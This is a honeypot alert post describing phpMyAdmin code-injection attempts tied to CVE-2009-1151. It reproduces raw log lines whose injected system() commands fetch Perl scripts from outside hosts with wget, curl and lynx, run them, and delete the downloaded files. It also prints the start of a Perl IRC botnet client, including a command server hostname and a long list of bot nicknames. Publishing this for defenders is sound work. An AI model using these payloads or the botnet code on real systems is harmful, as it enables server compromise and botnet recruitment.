[Honeypot Alert] phpMyAdmin Code Injection Attacks for Botnet Recruitment

Our web honeypots picked up the following attacks today:

62.149.12.62 - - [21/Feb/2012:04:25:55 -0600] "GET /mysql//config.sample.inc.php?eval=system('echo cd /tmp;wget http://199.115.228.9/vp.txt -O p2.txt;curl -O http://199.115.228.9/vp.txt; mv vp.txt d.txt;lyxn -DUMP http://199.115.228.9/vp.txt >p3.txt;perl d.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 226 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.6.2 zlib/1.2.3 libidn/1.9 libssh2/1.2.4"
195.145.156.126 - - [21/Feb/2012:05:42:27 -0600] "GET /mysql/config/config.inc.php?eval=system('echo cd /tmp;wget http://dinte.altervista.org/apache_32.png -O p2.txt;curl -O http://dinte.altervista.org/apache_32.png; mv apache_32.png p.txt;lyxn -DUMP http://dinte.altervista.org/apache_32.png >p3.txt;perl p.txt; perl p2.txt;perl p3.txt;rm -rf *.txt'); HTTP/1.1" 404 225 "-" "curl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8"

These appear to be follow-up exploit attempts for CVE-2009-1151 which allowed for uploading of PHP code into configuration files.

Botnet Recruitement

These requests are attempting to use various OS level http client utilities (wget, curl and lynx) to download a file from the attacker's site. In both cases, the remote files are perl botnet client scripts.

Example Botnet Client Snippet

#!/usr/bin/perl
my @mast3rs = ("tzepelush","Bunicul");


my @admchan=("#scan");

$servidor='winscp.zapto.org' unless $servidor;


my $xeqt = "?p";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("/usr/bin/atd");

my @nickname = ("fattys","eliter","vxbot","smufen","dual","lee","carro","frida",
"aVe","kmod","kmod2","uselib","raptor","tmpSH","pwned","w00t","DualDuo","Intel",
"AMDPwr","Geforce","Exploit","vx8m0d","indexs","index","index2","index3","index4",
"xQt1","xQt2","xQt3","xQt4","xQt5","xQt6","xQt7","xQt8","xQt9","xQt10","TeaMrxz",
"De","Der","Det","Var","Kam","Dea","Csa","Fbi","Dea","Narko","Gone","Feber","Tull",
"Tundra","st0rms","fLash","TheLight","Nikko","Nikie","Nikkie","daniel","t0nyandr",
"Europa","Fanta","Caroline","speedline","Perf0rm","indexs","dan","educat","catina",
"bindex","hindex","n0rway","myphp","phpvuln","Alarma","GoScan","oslocity","spette",
"Cascam","vSport","vSmotor","vSteam","vSturbo","Turbost","heeman","andy","loundry",
"ranger","Carbon","TypeR","Nozz","phpforum","Nxgas","NinaGirl","Isit","lama","ouch",
"vTeam","vSpot","vCrew","xeQta","Gourl","Vulnx","Hksurl","Greedy","Mrx","counyjail",
"Spourl","Torshov","Oslos","com_xeqt","mowgli","Asus","com_mrx","MrxTeam","arrest",
"vScrew","beran","stuing","ucutter","readnot","gethelp","curpos","cutext","Busted",
"detda","kanjo","neinei","Carbon","irriter","masa","dev-null","korsett","PerlTeam",
"jada","kanjeg","mutterz","dalenmin","heimdal","Gambler","Deanz","Phreak","Getno",
"Susa","Pils","Pilz","Bilz","Clubz","Clubs","Clubbin","Fights","Kampen","telenor",
"Karss","Gophy","reactor","fileporn","filemp3","filelist","free6","purextc","upc",
"Grandis","Piccaso","Vanda","varburen","Tiesto","Jean","DjEan","MeNe","ThiS","nO",
"drspeed","fuzzy","buzzz","GoScan","Vulned","Gourl","makeconf","sshdconf","ngtno",
"m0rtem","cat0","Fuckyall","Fuckit","Aem","Greedy","Hkss","Sparco","MoMo","Carbon",
"d3nyall","vipz","dualc0rz","twoc0re","gotit","h0lyshit","prtls","rapt0r","Getde",
"Vulnx","d3nyurl","vUlnurl","v0dka","Torshov","turboo","Boost","fasty","fr","getfr",
"datacore","dualcore","Daniel","spurv","byrds","jails","spoot","speels","ml","getd",
"Antivi","nod32","Screwed","alias","mekkka","template","f0rm3","p0ker","Geton","NO",
"Door","Borr","Jaarn","Sporet","Dopa","Hasjen","purxTc","Liquer","Justlink","Asust",
"Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner",
"Edward","Eickenhorst","Eliasson","Erdos","Erez","Espinoza","Estes","Etter","Eina",
"Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","d0",
"Everett","Fabbris","Fagan","Faioes","Altavista","Flamor","Faris","Farone","f00ln3t",
"Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman","Euripides","Enzoo","d00rk",
"Wikii","Wifii","Jvc","s0nny","lekter","herrier","sp0ker","netply","netb0st","Liq",
"comma","julie","sveina","andre","pulsedj","p0ker","j0ker","eFn3t","Liers","xTcno",
"Suite","Incl","Page","Mappe","Oxyd","Infode","Senil","Powers","Langu","m0d","doch",
"Snakes","Ridder","Viking","Vikings","Norman","Norway","German","Info","Biz","Edud",
"Ninjas","Ilness","Teacer","Faceoff","devnull","MoMo","Spoon","Liquid","Goofy","Aj",
"Google","Yahoo","Altavista","Lycos","Sesam","Solno","Googler","ScamNet","w0rmnet",
"puman","Skeidar","Tinemelk","Freia","Tresis","Tbanen","Adenyed","Hulken","Pureice",
"Sperre","Lister","Burbon","burb0ns","Toy0","Proxes","WrxSti","Evo6","Evo7","Evo8",
"wss","bss","natron","kiwis","Reman","SevnUp","Perlpls","Spiid","Govbr","Govmil",
"Wssss","Files","xFiles","Dataw0rm","n3tw0rm","Info","Biz","Orgy","foksy","Reven",
"limbo","mambi","bambi","rummy","IluvPerl","PerlKing","Pokerking","Turboa","Gttt",
"BugScam","BugTraq","Trackqs","Que","Adidas","Umbro","Sportas","Liquid","Forume",
"Deka","Jbl","Adecco","M5R","Tuners","Techno","Sivilen","Baosh","Snuten","Purken",
"aaudi","coupe","netliga","liganet","netbase","NetSnok","Snoknet","Snifnet","libz",
"indexp","jooblaa","mamboo","Binl3n","Cplusplus","p3rls3x","illgoon","de","lime",
"homes","newsr","sindex","findex","shome","php3","eedan","Evens","Everest","kkk2",
"igal","c0lombia","freeme","dupen","d3nmark","s2ed3n","crypt0n","n0dam3n","itch",
"Domino","Tarsan","julie","Anett","Stine","Laura","Croft","Craft","Mrex","jiggy",
"Hemaan","c0nan","c0nmen","ImI","RdR","Ils","Ass","Dildo","Pula","Blow","Sn0rts",
"Aloalo","Nasa","DeaGov","FbiGov","NsaGov","CiaGov","CsiEdu","Hav0rd","djPulse",
"Oslos","Ils","cia","d3a","dea","nsa","nas","ama","kma","Scamurl","vito","xQt",
"info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun",
"caos","fred","peace","dude","rox","rock","rokie","bayrn","gees","hval","wolf",
"do","go","ln","st","file","page","pag","pg","lg","lang","lng","srcs","action",
"sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft",
"lam","fal","dett","drop","snop","true","fake","yes","sir","mae","nmf","vmax","as",
"adio","audo","soren","tvtre","host","unitd","coda","cobra","mans","gmail","gtrs",
"remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss",
"los","las","angl","dream","fools","phol","phools","d0rk","spon","spalk","kalk",
"email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy",
"email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist",
"dara","dora","boris","dev","cupra","isgal","Yuri","Geez","Frys","dos","to","emul",
"pwned","kung","kim","lil","fatjo","fatman","fat","joe","does","quat","tres","eu",
"shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender",
"does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim",
"liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue",
"loma","Domma","hest","heist","tivoli","stud","dust","fust","Flue","nille","kenny",
"koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers",
"inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts",
"fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman",
"lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse",
"nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper",
"liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr",
"drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd",
"pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby",
"rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa",
"jvc","jbl","cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so",
"deka","bos","boss","fres","spett","dusj","kappe","norman","keb0rd","fab","dor","bits",
"kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3",
"dame","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie",
"ono","tima","mytm","motor","vsmot","sport","fart","devs","var","tmp","spol","sture".
"jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco",
"hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da",
"pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena",
"beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa",
"testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs",
"nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm",
"loff","grov","abcd","pulse","grow","alrt","spyd","trojan","maxd","xeqtd","xQtd","nodz",
"owner","crime","data","need","doper","hash","mysql","imapd","devil","shark","byn","ju");

my @xident = ("winscp");
my @xname = (`uname -a`);

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